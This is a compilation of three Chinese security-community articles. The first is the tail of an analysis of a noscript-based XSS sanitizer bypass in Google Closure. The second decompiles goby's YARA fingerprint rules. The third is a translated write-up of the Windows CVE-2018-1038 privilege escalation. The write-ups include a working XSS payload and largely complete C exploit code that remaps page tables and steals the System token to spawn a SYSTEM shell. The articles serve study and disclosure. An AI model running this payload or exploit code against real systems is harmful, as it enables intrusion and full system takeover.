这样，我们就实现了通过浏览器的Parser来解析HTML，然后对解析后的HTML进行sanitize，以保证最终输出安全的HTML。而且，在解析过程中，浏览器也不会执行嵌入的JavaScript脚本。
看起来，似乎大功告成了？！
我们尝试用同样的方法来解析文章开头提供的XSS payload。
// 插入payload
template.innerHTML = '<noscript><p title="</noscript><img src=x onerror=alert(1)>">'
// 查看解析后的HTML
template.content.children[0]
// 返回的结果如下
<noscript>
<p title="</noscript><img src=x onerror=alert(1)"></p>
</noscript>
解析后的HTML看起来非常安全，能够执行XSS的`img`标签被解析成了`p`标签的`title`属性的值，以字符串的形式存在。
接下来，我们将这段”安全”的HTML插入到`div`中
div.innerHTML = template.innerHTML;
竟然，弹窗了？！我们打印一下插入payload的`div`，看看究竟是个什么鬼？
div
// 返回的结果如下
<div>
<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">"
<p></p>
</div>
`</noscript>`闭合了`noscript`标签，后面紧跟的`img`标签变成了一个合法的标签，而不再是`title`属性的值，从而导致了XSS的执行。
这就非常诡异了。同样是`noscript`标签，在`div`和`template`中为什么会出现差异呢？答案其实就在[HTML规范](https://www.w3.org/TR/2011/WD-html5-author-20110809/the-noscript-element.html)中。
> The `noscript` element [represents](http://www.w3.org/TR/2011/WD-> html5-20110525/rendering.html#represents) nothing if [scripting is
> enabled](http://www.w3.org/TR/2011/WD-> html5-20110525/webappapis.html#concept-n-script), and
> [represents](http://www.w3.org/TR/2011/WD-> html5-20110525/rendering.html#represents) its children if [scripting is
> disabled](http://www.w3.org/TR/2011/WD-> html5-20110525/webappapis.html#concept-n-noscript). It is used to present
> different markup to user agents that support scripting and those that don’t
> support scripting, by affecting how the document is parsed.
所以说，`noscript`在`允许JavaScript`和`禁止JavaScript`环境下的解析是不同的。普通的浏览器环境是允许JavaScript执行的，而`template`中是禁止JavaScript执行的。这也就解释了为什么对于`noscript`标签的解析会出现差异。
## Google Search XSS
其实，Google Search
XSS产生的原因，和前文demo中所展示的类似。由于Google早已修复了此问题，无法亲自验证。下文中出现的部分图片来源于油管视频的截图。
我们改动一下payload，在XSS执行处设置断点。
<noscript><p title="</noscript><img src=x onerror=debugger;>">
断点后，通过查看调用栈发现，在某处执行了`a.innerHTML = b`。将`b`打印出来，内容为`<noscript><p
title="</noscript><img src=x
onerror=debugger;alert(1);>"></p></noscript>`。依据前文中的经验，我们知道这段代码是有危害的。
通过对比修复前和修复后的JavaScript文件，发现某处的`a.innerHTML`被修改为带有sanitizer的实现。看来问题就出在这里。
同样，在`a =
a.innerHTML`处添加断点，查看调用栈。发现Google的sanitizer也是采用了和前文中demo类似的方式，即`template`标签来解析HTML。
Google使用的JavaScript Library叫做Google
Closure。这是一个开源的JavaScript框架。我找到了[修复XSS的commit](https://github.com/google/closure-library/commit/c79ab48e8e962fee57e68739c00e16b9934c0ffa)，发现这个commit实际上对之前某个commit的rollback。
然后找到之前[导致XSS的commit](https://github.com/google/closure-library/commit/16201e8c00b98aa4d46a2c6830006ed4608532f4)，发现正是这个commit删除了某些sanitize语句，并且直接使用了innerHTML。
这个commit是2018年9月26日提交的，Google在2019年2月22日rollback。也就是说这个问题在Google
Closure里存在了长达5个月之久，而很多Google产品本身也在使用Google Closure。
因吹斯汀！！！
## 总结
1.Google在HTML sanitization时，使用了`template`。`template`是`JavaScript Disabled`环境。
2.`noscript`标签在`JavaScript Enabled`和`JavaScript Disabled`环境中的解析不一致，给XSS创造了可能。
3.Google本身有对输入进行额外的sanitization，但是，在某个修复其他问题的commit中被删掉了。
当前流行的Web框架对XSS防御的支持已经相当完善，XSS漏洞挖掘也变得越来越困难。但是，看完了这位的Google Search
XSS漏洞之后，我才发现，挖不到XSS，本质上，菜是原罪！
参考：
Youtube: <https://www.youtube.com/watch?v=lG7U3fuNw3A>
漏洞发现者Twitter：<https://twitter.com/kinugawamasato> | 社区文章 |
goby识别指纹的功能很不错，想试试能不能把goby指纹识别里面的指纹提取出来，移植到自己的扫描器中,结果后面到了逆向虚拟机的程度。。
## goby的crules
在goby 最初的版本中，翻看了一些感兴趣的资源文件后看到有个`crules`文件。
它的文件头是yara文件
并且里面包含了它的指纹
通过文本提取，可以把指纹规则提取出来，但是多个指纹规则之间有`and`、`or`之类的逻辑关系，并不清楚。
### 新版的crules提取
现在goby使用了最新的go版本`1.16`
在go1.16，嵌入资源有个官方实现，叫`go embed`，可以根据在二进制中搜索`embed.FS`来确认是否使用了这个特性。
然后我自己测试了一下，看看`go embed`内嵌资源是如何实现的，结果发现资源直接在二进制中明文显示。
于是搜索`YARA`关键字，就能再次定位到goby的指纹规则部分。
## yara结构分析
因为不知道指纹规则之间的逻辑关系如何提取，所以只能看yara代码是怎么做的。
看到goby使用了这个库`https://github.com/hillu/go-yara`，应该就是用来解析规则的，看这个库的实现，它只是c版本yara源码的封装，所以还是要去看yara的代码。
官方仓库是 <https://github.com/VirusTotal/yara>
我下载了2.0 3.0 和4.x最新版的源码，发现里面的文件版本和这个都对不上。一度怀疑是魔改的yara？
yara编译后文件的规则真是多变,并且每个版本的规则还不兼容。。这上面踩了一下坑。
最后我在`yara-3.10.0`找到了可以符合goby crules文件头的代码
### yara加载编译后的文件
在`yr_arena_load_stream`，可以看到读取magic为yara的标记以及版本判断相关代码。
crules文件开头对应的数据结构如下
typedef struct _ARENA_FILE_HEADER
{
char magic[4];
uint32_t size;
uint32_t version;
} ARENA_FILE_HEADER;
之后读取指定长度的字节后，剩余的字节都是用于重定向地址用
再之后在 `yr_rules_load_stream`，先通过一个结构映射头
typedef struct _YARA_RULES_FILE_HEADER
{
DECLARE_REFERENCE(YR_RULE*, rules_list_head);
DECLARE_REFERENCE(YR_EXTERNAL_VARIABLE*, externals_list_head);
DECLARE_REFERENCE(const uint8_t*, code_start);
DECLARE_REFERENCE(YR_AC_MATCH_TABLE, match_table);
DECLARE_REFERENCE(YR_AC_TRANSITION_TABLE, transition_table);
} YARA_RULES_FILE_HEADER;
然后再解析出每个节的地址。
new_rules->code_start = header->code_start;
new_rules->externals_list_head = header->externals_list_head;
new_rules->rules_list_head = header->rules_list_head;
new_rules->match_table = header->match_table;
new_rules->transition_table = header->transition_table;
得到每个表的位置。yara编译后的文件加载过程到此完成。
简单来说，文件头前面一部分是映射为`_ARENA_FILE_HEADER`的结构，再之后的结构就是一些表的地址。
### yara结构总结
说的可能比较抽象，得自己看yara代码，不断去调试，大概就知道yara是怎么处理和加载编译后的yara文件的了。
yara的编译机制就是把内存中的yara数据结构保存为一个文件，然后对一些重定向内容做一些处理。
加载过程也是同理，之后程序运行位置交到`new_rules->code_start`这个地址上，它将会运行yara的虚拟机程序，虚拟机对所有规则做出判断。
## yara虚拟机
整个虚拟机执行在`exec.c`文件的`yr_execute_code`函数上，在上面打上断点。
此时的调用堆栈
单步运行下来，发现这是一个栈式虚拟机，从地址获取opcode，根据opcode执行。
`OP_HALT`是中断标志，这个opcode出现代表执行完毕。
`exec.h`定义了各种opcode和int的关系
经过调试，发现每次规则开始的时候，都会调用`OP_INIT_RULE`，
这个执行地址后面的地址就是RULE的数据结构，记录了meta等信息。
typedef struct _YR_INIT_RULE_ARGS
{
DECLARE_REFERENCE(YR_RULE*, rule);
DECLARE_REFERENCE(const uint8_t*, jmp_addr);
} YR_INIT_RULE_ARGS;
typedef struct _YR_RULE
{
int32_t g_flags; // Global flags
int32_t t_flags[MAX_THREADS]; // Thread-specific flags
DECLARE_REFERENCE(const char*, identifier);
DECLARE_REFERENCE(const char*, tags);
DECLARE_REFERENCE(YR_META*, metas);
DECLARE_REFERENCE(YR_STRING*, strings);
DECLARE_REFERENCE(YR_NAMESPACE*, ns);
// Used only when PROFILING_ENABLED is defined
clock_t clock_ticks;
} YR_RULE;
typedef struct _YR_META
{
int32_t type;
YR_ALIGN(8) int64_t integer;
DECLARE_REFERENCE(const char*, identifier);
DECLARE_REFERENCE(char*, string);
} YR_META;
通过对虚拟机整个执行过程的理解，可以编写一个yara反编译器了。
搜索了下github，有一个开源的 <https://github.com/jbgalet/yaradec，但是不支持这个版本，需要自己改改。>
所以我根据yara源码和这个开源的反编译器，编写了一个yara反编译器。
### 反编译
运行反编译器，将yara的opcode转换为指令的形式，我的反编译器运行后输出如下
有的opcode会和一些字符串作关联，所以我把它读取出来放到注释部分，opcode就是yara定义的opcode，最前面的数字代表当前执行的位置，因为有的语句会跳转到其他位置，方便看。
接下来就是理解这些yara指令了。
一个简单的例子
205 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_2", "metadata": {"rule_id": "2", "level": "5", "softhard": "2", "product": "CNPOWER-OA(OA8000)", "company": "CNPOWER", "category": "OA", "parent_category": "Enterprise Application"}, "ns": "default:"}
222 : OP_OBJ_LOAD 5050743 ;fofa
231 : OP_OBJ_FIELD 5050748 ;body_contains
240 : OP_PUSH 5050762 ;/oaapp/webobjects/oaapp.woa
249 : OP_CALL 5050801 ;s
258 : OP_OBJ_VALUE ;
259 : OP_MATCH_RULE 260 ;
`OP_INIT_RULE` 是初始化这个规则的meta信息
`OP_OBJ_LOAD` 是载入fofa模块
`OP_OBJ_FIELD`是模块的字段，即 body_contains
`OP_PUSH` 将`/oaapp/webobjects/oaapp.woa`压入堆栈
之后`OP_CALL`调用函数，`OP_OBJ_VALUE` 获取结果，`OP_MATCH_RULE`匹配完成。
所以，可以想象这一段指令对应的原先规则为
fofa.body_contains("/oaapp/webobjects/oaapp.woa")
### 规则逻辑的反编译
上述是一个简单匹配过程，如果一些规则含有逻辑运算，是怎样的呢？
例如下面的例子
445 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_5", "metadata": {"rule_id": "5", "level": "3", "softhard": "2", "product": "MongoDb", "company": "MongoDB, Inc", "category": "Database System", "parent_category": "Software System"}, "ns": "default:"}
462 : OP_OBJ_LOAD 5051424 ;fofa
471 : OP_OBJ_FIELD 5051429 ;body_contains
480 : OP_PUSH 5051443 ;<a href="/_replset">replica set status</a></p>
489 : OP_CALL 5051501 ;s
498 : OP_OBJ_VALUE ;
499 : OP_JTRUE 642 ;if sucess
508 : OP_OBJ_LOAD 5051503 ;fofa
517 : OP_OBJ_FIELD 5051508 ;protocol_contains
526 : OP_PUSH 5051526 ;mongodb
535 : OP_CALL 5051545 ;s
544 : OP_OBJ_VALUE ;
545 : OP_JTRUE 640 ;if sucess
554 : OP_OBJ_LOAD 5051547 ;fofa
563 : OP_OBJ_FIELD 5051552 ;body_contains
572 : OP_PUSH 5051566 ;you are trying to access mongodb
581 : OP_CALL 5051610 ;s
590 : OP_OBJ_VALUE ;
591 : OP_JTRUE 638 ;if sucess
600 : OP_OBJ_LOAD 5051612 ;fofa
609 : OP_OBJ_FIELD 5051617 ;title_contains
618 : OP_PUSH 5051632 ;mongod.exe
627 : OP_CALL 5051654 ;s
636 : OP_OBJ_VALUE ;
637 : OP_OR ;
638 : OP_NOP ;
639 : OP_OR ;
640 : OP_NOP ;
641 : OP_OR ;
642 : OP_NOP ;
643 : OP_MATCH_RULE 644 ;
从这段指令可以精简为
验证规则1
验证规则2
验证规则3
验证规则4
or
or
or
可以看出这是一个后缀表达式(逆波兰表达式)处理的逻辑关系。
要提取逻辑表达式的话，就是把这段后缀表达式转换为可读的中缀表达式。
我写了一个python脚本来完成这个操作
def zhuanh(l: list):
l.reverse()
s = []
fuhao = ['OP_AND', 'OP_OR', 'OP_NOT']
while len(l) > 0:
x = l.pop()
if x not in fuhao:
s.append(x)
else:
r1 = s.pop()
if x == 'OP_NOT':
s.append("!{}".format(r1))
else:
r2 = s.pop()
x = x.replace("OP_AND", "and")
x = x.replace("OP_OR", "or")
s.append(f"({r1} {x} {r2})")
if len(s) != 1:
raise Exception("错误")
return s[0]
if __name__ == '__main__':
a = [1, 2, 3, 4, 'OP_OR', 'OP_OR', 'OP_OR']
s = zhuanh(a)
print(s)
1,2,3,4代表这四个规则，最后输出结果即
接下来找一个规则复杂一些的尝试一下
1229 : OP_INIT_RULE ;{"flags": 0, "identifier": "rule_9", "metadata": {"rule_id": "9", "level": "5", "softhard": "2", "product": "TongDa-OA", "company": "TongTa", "category": "OA", "parent_category": "Enterprise Application"}, "ns": "default:"}
1246 : OP_OBJ_LOAD 5052822 ;fofa
1255 : OP_OBJ_FIELD 5052827 ;body_contains
1264 : OP_PUSH 5052841 ;/static/templates/2013_01/index.css/
1273 : OP_CALL 5052889 ;s
1282 : OP_OBJ_VALUE ;
1283 : OP_JTRUE 1810 ;if sucess
1292 : OP_OBJ_LOAD 5052891 ;fofa
1301 : OP_OBJ_FIELD 5052896 ;body_contains
1310 : OP_PUSH 5052910 ;javascript:document.form1.uname.focus()
1319 : OP_CALL 5052961 ;s
1328 : OP_OBJ_VALUE ;
1329 : OP_JTRUE 1808 ;if sucess
1338 : OP_OBJ_LOAD 5052963 ;fofa
1347 : OP_OBJ_FIELD 5052968 ;body_contains
1356 : OP_PUSH 5052982 ;href="/static/images/tongda.ico"
1365 : OP_CALL 5053026 ;s
1374 : OP_OBJ_VALUE ;
1375 : OP_JTRUE 1806 ;if sucess
1384 : OP_OBJ_LOAD 5053028 ;fofa
1393 : OP_OBJ_FIELD 5053033 ;body_contains
1402 : OP_PUSH 5053047 ;<link rel="shortcut icon" href="/images/tongda.ico" />
1411 : OP_CALL 5053113 ;s
1420 : OP_OBJ_VALUE ;
1421 : OP_JTRUE 1804 ;if sucess
1430 : OP_OBJ_LOAD 5053115 ;fofa
1439 : OP_OBJ_FIELD 5053120 ;body_contains
1448 : OP_PUSH 5053134 ;oa提示：不能登录oa
1457 : OP_CALL 5053171 ;s
1466 : OP_OBJ_VALUE ;
1467 : OP_JFALSE 1514 ;if sucess
1476 : OP_OBJ_LOAD 5053173 ;fofa
1485 : OP_OBJ_FIELD 5053178 ;body_contains
1494 : OP_PUSH 5053192 ;紧急通知：今日10点停电
1503 : OP_CALL 5053236 ;s
1512 : OP_OBJ_VALUE ;
1513 : OP_AND ;
1514 : OP_NOP ;
1515 : OP_JTRUE 1802 ;if sucess
1524 : OP_OBJ_LOAD 5053238 ;fofa
1533 : OP_OBJ_FIELD 5053243 ;title_contains
1542 : OP_PUSH 5053258 ;office anywhere 2013
1551 : OP_CALL 5053290 ;s
1560 : OP_OBJ_VALUE ;
1561 : OP_JTRUE 1800 ;if sucess
1570 : OP_OBJ_LOAD 5053292 ;fofa
1579 : OP_OBJ_FIELD 5053297 ;title_contains
1588 : OP_PUSH 5053312 ;office anywhere 2015
1597 : OP_CALL 5053344 ;s
1606 : OP_OBJ_VALUE ;
1607 : OP_JTRUE 1798 ;if sucess
1616 : OP_OBJ_LOAD 5053346 ;fofa
1625 : OP_OBJ_FIELD 5053351 ;body_contains
1634 : OP_PUSH 5053365 ;tongda.ico
1643 : OP_CALL 5053387 ;s
1652 : OP_OBJ_VALUE ;
1653 : OP_JFALSE 1748 ;if sucess
1662 : OP_OBJ_LOAD 5053389 ;fofa
1671 : OP_OBJ_FIELD 5053394 ;title_contains
1680 : OP_PUSH 5053409 ;oa
1689 : OP_CALL 5053423 ;s
1698 : OP_OBJ_VALUE ;
1699 : OP_JTRUE 1746 ;if sucess
1708 : OP_OBJ_LOAD 5053425 ;fofa
1717 : OP_OBJ_FIELD 5053430 ;title_contains
1726 : OP_PUSH 5053445 ;办公
1735 : OP_CALL 5053463 ;s
1744 : OP_OBJ_VALUE ;
1745 : OP_OR ;
1746 : OP_NOP ;
1747 : OP_AND ;
1748 : OP_NOP ;
1749 : OP_JTRUE 1796 ;if sucess
1758 : OP_OBJ_LOAD 5053465 ;fofa
1767 : OP_OBJ_FIELD 5053470 ;body_contains
1776 : OP_PUSH 5053484 ;class="style1">新oa办公系统
1785 : OP_CALL 5053528 ;s
1794 : OP_OBJ_VALUE ;
1795 : OP_OR ;
1796 : OP_NOP ;
1797 : OP_OR ;
1798 : OP_NOP ;
1799 : OP_OR ;
1800 : OP_NOP ;
1801 : OP_OR ;
1802 : OP_NOP ;
1803 : OP_OR ;
1804 : OP_NOP ;
1805 : OP_OR ;
1806 : OP_NOP ;
1807 : OP_OR ;
1808 : OP_NOP ;
1809 : OP_OR ;
1810 : OP_NOP ;
1811 : OP_MATCH_RULE 1812 ;
优化为的后缀表达式
1
2
3
4
5
6
and
7
8
9
10
11
or
and
12
or
or
or
or
or
or
or
or
后缀表达式转中缀表达式结果
((((((((12 or ((11 or 10) and 9)) or 8) or 7) or (6 and 5)) or 4) or 3) or 2) or 1)
就这样，能将所有规则之间的逻辑关系处理了。
中缀表达式处理程序有一个小问题，就是表达式的括号会很多，这个自行优化下吧 = -
## 最后
我将规则处理为了json格式，方便阅读和扫描器引用，类似如下
goby因为只需要访问一次首页，剩下的由yara规则进行识别，所以速度会很快。用yara识别web指纹学习到了。
如果要自己写扫描器引入fofa指纹的话，还需要写个表达式解析器来解析各种规则，这个我以前也写过了
<https://x.hacking8.com/post-383.html>
那么能不能直接用yara调用goby的指纹呢？
理论上是可以的，只是需要自己写一个名称为`fofa`的模块，实现所有判断的方法，在编译到yara中。 | 社区文章 |
# 针对微软安全补丁漏洞（CVE-2018-1038）的分析与利用
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.xpnsec.com/
原文地址：<https://blog.xpnsec.com/total-meltdown-cve-2018-1038/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
早在今年3月份，Ulf Frisk在Windows 7和Windows Server 2008
R2中发现了一个漏洞。微软此前为缓解Meltdown漏洞而发布过一个补丁，然而该修补又无意中造成特定版本的Windows中出现一个新的漏洞，该漏洞允许任意进程访问和修改页表项（Page
Table Entries）。
有关该漏洞的Write-Up请参见Ulf的博客：<http://blog.frizk.net/2018/03/total-meltdown.html>
，这篇内容非常值得一读。
在本周，我有一些空闲的时间，因此我决定要深入研究一下这个漏洞，看看该漏洞能如何利用。最终的目的是为了发现一种该漏洞的快速利用方式，能够迅速提升特权。在此过程中，我深入研究了Windows内存管理相关的内容，并在本文中详述了如何针对此类漏洞进行漏洞利用。
像往常一样，本文主要面向于希望了解漏洞利用探索过程的人，而并不是简单地提供一个EXP。首先，我们从一些关于分页的基础知识开始。
## 分页的基本原理
为了能理解这个漏洞的工作原理，我们首先需要讲解一些关于分页的基本原理，即如何在x86或x64架构上进行分页。
众所周知，x64操作系统上的虚拟地址通常如下所示：
0x7fffffd6001
然而，可能有人并不清楚，虚拟地址不仅仅是指向RAM中任意位置的指针，它实际上由多个字段组成，这些字段在将虚拟地址转换为物理地址时具有特定的用途。
我们先将上面的示例虚拟地址转换成二进制：
0000000000000000 000001111 111111111 111111111 111010110 000000000001
从左到右，我们首先忽略了前16位，因为这些位对我们来说没有实际意义，它们只是对虚拟地址中第48位的镜像。
从偏移量第48位开始：
最开始的9位000001111（十进制15）是到PML4表的偏移量；
接下来的9位111111111（十进制511）是PDPT表的偏移量；
接下来的9位111111111（十进制511）是PD表的偏移量；
接下来的9位111010110（十进制数470）是PT表的偏移量；
最后的12位000000000001（十进制1）是内存页的偏移量。
当然，接下来的一个问题是，什么是PML4、PDPT、PD和PT？
## PML4、PDPT、PD和PT
在x64体系结构中，将虚拟地址转换为物理地址的这一过程，是通过CR3寄存器指向的一组分页表实现的：
PML4 – Page Map Level 4
PDPT – Page Directory Pointer Table
PD – Page Directory
PT – Page Table
其中，每个表负责提供数据存储位置的物理地址，以及与该内存位置相关的标志。
例如，页表中的条目可以负责提供查找链（Lookup
Chain）中指向下一个表的指针，以用于在内存页上设置NX位，或者是确保内核内存不能被操作系统上运行的应用访问。
为了做到简化，上面的虚拟地址查找过程如下所示：
在这里，我们看到遍历这些表的过程是由各个条目完成的，这些条目负责提供指向下一个表的指针，最后的条目指向了内存中所存储数据的物理地址。
大家可以想到，要为操作系统上的每个进程存储并管理页表需要付出大量的努力。面对这一问题，操作系统的开发人员采用了“自引用页表”（Self-Referencing Page Tables）的技术来缓解这一复杂的过程。
## 自引用页表
简而言之，自参照页表通过引用自身PML4表中的字段来工作。举例来说，如果我们在PML4表中创建索引为0x100的新条目，并且该条目指向PML4表的物理地址，那我们就有了所谓的“自引用条目”。
那么，为什么有人会这样做呢？实际上，这样一来我们就得到了一组虚拟地址，我们可以在虚拟地址空间中对任何页表进行引用和修改。
例如，如果我们想要修改某个进程的PML4表，那么可以简单地引用虚拟地址0x804020100000，其具体为：
PML4索引0x100 – PML4的物理地址；
PDPT索引0x100 – 同样是PML4的物理地址；
PD索引0x100 – 依然是PML4的物理地址；
PT索引0x100 – 还是PML4的物理地址。
最终会返回PML4内存中的内容。
希望上述的例子，能让大家理解自引用页表的递归特性的威力。我用了几晚的时间盯着屏幕，才得以弄明白这一点。
为了进一步展示，我们编写了下面的代码作为例子，可以看到ffff804020100000的虚拟地址允许我们检索PML4表进行编辑，其中PML4的索引0x100是自引用的。
package main
import (
"fmt"
)
func VAtoOffsets(va uint64) {
phy_offset := va & 0xFFF
pt_index := (va >> 12) & 0x1FF
pde_index := (va >> (12 + 9)) & 0x1FF
pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF
fmt.Printf("PML4 Index: %03xn", pml4_index)
fmt.Printf("PDPT Index: %03xn", pdpt_index)
fmt.Printf("PDE Index: %03xn", pde_index)
fmt.Printf("PT Index: %03xn", pt_index)
fmt.Printf("Page offset: %03xn", phy_offset)
}
func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
var va uint64
va = pml4_index << (12 + 9 + 9 + 9)
va = va | pdpt_index << (12 + 9 + 9)
va = va | pde_index << (12 + 9)
va = va | pt_index << 12
va = va | phy_offset
if ((va & 0x800000000000) == 0x800000000000) {
va |= 0xFFFF000000000000
}
fmt.Printf("Virtual Address: %xn", va)
}
func main() {
VAtoOffsets(0xffff804020100000)
OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}
大家可以在浏览器中运行此代码并查看结果，链接为：<https://play.golang.org/p/tyQUoox47ri>
现在，假设我们要修改虚拟地址的PDPT条目。借助自引用技术，减少通过自引用条目递归的次数，这样一来这个过程就变得非常简单。
例如，给定一个PML4索引0x150，以及在0x100中的自引用条目，我们可以返回地址为0xffff804020150000的相应PDPT表。在这里，golang应用程序可以再次发挥作用，展示这一过程：<https://play.golang.org/p/f02hYYFgmWo>
## 漏洞分析
当我们对基础知识有足够了解之后，就可以转向漏洞。
如果我们将2018年2月的微软安全更新补丁打在Windows 7 x64或Windows Server 2008 R2
x64系统上，我们会发现PML4的条目0x1e8已经更新。
我在实验室中搭建了一个受漏洞影响的操作系统环境，发现PML4的条目0x1e8与此类似：
007000002d282867
在这里，存在一些标志。我们需要注意这个页表项的第三位。如果设置了第三位，那么就将1允许从用户模式访问内存页，而不再将访问限制在内核。
更糟糕的是，PM4条目0x1e8被用作Windows 7和Windows Server 2008 R2
x64中的自引用条目，这就意味着任何用户模式的进程都被授权查看和修改PML4页表。
正如我们所了解的那样，通过修改这个顶级的页表，我们就能够查看并修改整个系统中的所有物理内存。
## 漏洞利用
那么，如何利用这个漏洞呢？要利用这一漏洞并成功实现特权升级，我们可以采用如下步骤来实现：
1、创建一组新的页表，这将导致允许访问任何物理内存地址；
2、创建一组可在内核内存中搜索_EPROCESS结构的签名；
3、为我们执行的进程和System进程，找到_EPROCESS内存地址；
4、将我们正在执行进程的token替换成System的token，从而将正在执行的进程升级到NT AUTHORITYSystem。
在这里必须要提到，我们本次研究参考了PCILeech的代码（
<https://github.com/ufrisk/pcileech/blob/master/pcileech/devicetmd.c>
）。这是我第一次在这个级别研究操作系统的分页，正是devicetmd.c所使用的漏洞代码解决了我的一个难题，为此我必须对Ulf Frisk表示感谢。
我们将使用PCILeech的代码来设置页表，而不是简单地重新实现Ulf的分页技术。为了能更清楚明白地解释这一过程，我更新了一些神奇的数字并添加了解释，以帮助大家清楚到底发生了什么：
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
// The flags "067" allow user-mode access to the page.
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %dn", iPML4);
// Here, the PDPT table is references via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("n[*] Page tables created, we now have access to ~33gb of physical memoryn");
现在，我们建立了页表，接下来就需要在物理内存中寻找_EPROCESS结构。接下来，我们一同来研究如何在内核内存中查找_EPROCESS对象：
为了创建一个简单的签名，我们可以使用ImageFileName和PriorityClass字段，扫描内存中是否出现了这两个字段，直到得到命中结果。在我的尝试中，这种方法比较有效，但如果大家发现存在误报的情况，可以再做进一步优化：
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memoryn");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %pn", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %pn", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
...
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSODn");
}
}
我们此前讲解过一些内核特权升级利用的方法，请参见：
> https://blog.xpnsec.com/hevd-null-pointer/
>
> https://blog.xpnsec.com/hevd-stack-overflow/
>
> https://blog.xpnsec.com/windows-warbird-privesc/
最终，与大多数内核特权升级利用一样，我们需要将我们的_EPROCESS.Token字段替换为System进程token的字段：
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %pn", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...nn");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&si,
&pi);
break;
}
我是在Windows 7 x64的实验环境对上述漏洞利用过程进行了尝试，演示视频请参见：https://youtu.be/5fl5jFy4XMg
最终代码可以在GitHub上找到：https://gist.github.com/xpn/bdb99cee8895bab4b1a0671696570d94
**更新：我对该代码进行了更新，更新后的版本增加了一些内存检查，同样上传到了GitHub上面：https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe
## 修复与改进
为确保我们的系统免受该漏洞攻击，微软已经发布了针对CVE-2018-1038的修复程序，该修复程序可用于修复此问题。
对于此前曾经做过低级别开发的人员，大家可能已经注意到，在查找_EPROCESS对象的过程中，上述利用代码并没有对设备映射内存进行任何进一步的检查。在我的实验环境中，并没有产生任何问题，但考虑到不同的硬件和环境，还是应该增加额外的检查来降低BSOD的风险。为了解决这一问题，我已经在新版本的PoC中实现了额外的内存检查，详情请见GitHub上的代码：https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe
## 参考文献和扩展阅读
